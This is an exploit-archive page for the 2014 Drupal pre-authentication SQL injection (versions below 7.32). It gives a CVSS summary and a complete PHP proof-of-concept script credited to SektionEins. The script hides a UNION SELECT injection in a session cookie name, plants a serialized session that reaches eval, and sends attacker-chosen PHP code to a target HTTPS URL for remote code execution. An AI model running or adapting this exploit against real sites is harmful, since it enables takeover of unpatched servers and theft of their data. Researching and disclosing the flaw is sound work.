Drupal < 7.32 Pre Auth SQL Injection Vulnerability

2014.11.04
Credit: Stefan
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

<?php // _____ __ __ _ _______ // / ___/___ / /__/ /_(_)___ ____ / ____(_)___ _____ // \__ \/ _ \/ //_/ __/ / __ \/ __ \/ __/ / / __ \/ ___/ // ___/ / __/ ,< / /_/ / /_/ / / / / /___/ / / / (__ ) // /____/\___/_/|_|\__/_/\____/_/ /_/_____/_/_/ /_/____/ // Poc for Drupal Pre Auth SQL Injection - (c) 2014 SektionEins // // created by Stefan Horst <stefan.horst@sektioneins.de> // and Stefan Esser <stefan.esser@sektioneins.de> //&#183; include 'common.inc'; include 'password.inc'; // set values $user_id = 0; $user_name = ''; $code_inject = 'phpinfo();session_destroy();die("");'; $url = isset($argv[1])?$argv[1]:''; $code = isset($argv[2])?$argv[2]:''; if ($url == '-h') { echo "usage:\n"; echo $argv[0].' $url [$code|$file]'."\n"; die(); } if (empty($url) || strpos($url,'https') === False) { echo "please state the cookie url. It works only with https urls.\n"; die(); } if (!empty($code)) { if (is_file($code)) { $code_inject = str_replace('<'.'?','',str_replace('<'.'?php','',str_replace('?'.'>','',file_get_contents($code)))); } else { $code_inject = $code; } } $code_inject = rtrim($code_inject,';'); $code_inject .= ';session_destroy();die("");'; if (strpos($url, 'www.') === 0) { $url = substr($url, 4); } $_SESSION= array('a'=>'eval(base64_decode("'.base64_encode($code_inject).'"))','build_info' => array(), 'wrapper_callback' => 'form_execute_handlers', '#Array' => array('array_filter'), 'string' => 'assert'); $_SESSION['build_info']['args'][0] = &$_SESSION['string']; list( , $session_name) = explode('://', $url, 2); // use insecure cookie with sql inj. $cookieName = 'SESS' . substr(hash('sha256', $session_name), 0, 32); $password = user_hash_password('test'); $session_id = drupal_random_key(); $sec_ssid = drupal_random_key(); $serial = str_replace('}','CURLYCLOSE',str_replace('{','CURLYOPEN',"batch_form_state|".serialize($_SESSION))); $inject = "UNION SELECT $user_id,'$user_name','$password','','','',null,0,0,0,1,null,'',0,'',null,$user_id,'$session_id','','127.0.0.1',0,0,REPLACE(REPLACE('".$serial."','CURLYCLOSE',CHAR(".ord('}').")),'CURLYOPEN',CHAR(".ord('{').")) -- "; $cookie = $cookieName.'[test+'.urlencode($inject).']='.$session_id.'; '.$cookieName.'[test]='.$session_id.'; S'.$cookieName.'='.$sec_ssid; $ch = curl_init($url); curl_setopt($ch,CURLOPT_HEADER,True); curl_setopt($ch,CURLOPT_RETURNTRANSFER,True); curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,False); curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:34.0) Gecko/20100101 Firefox/34.0'); curl_setopt($ch,CURLOPT_HTTPHEADER,array( 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language: en-US,en;q=0.5' )); curl_setopt($ch,CURLOPT_COOKIE,$cookie); $output = curl_exec($ch); curl_close($ch); echo $output;


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top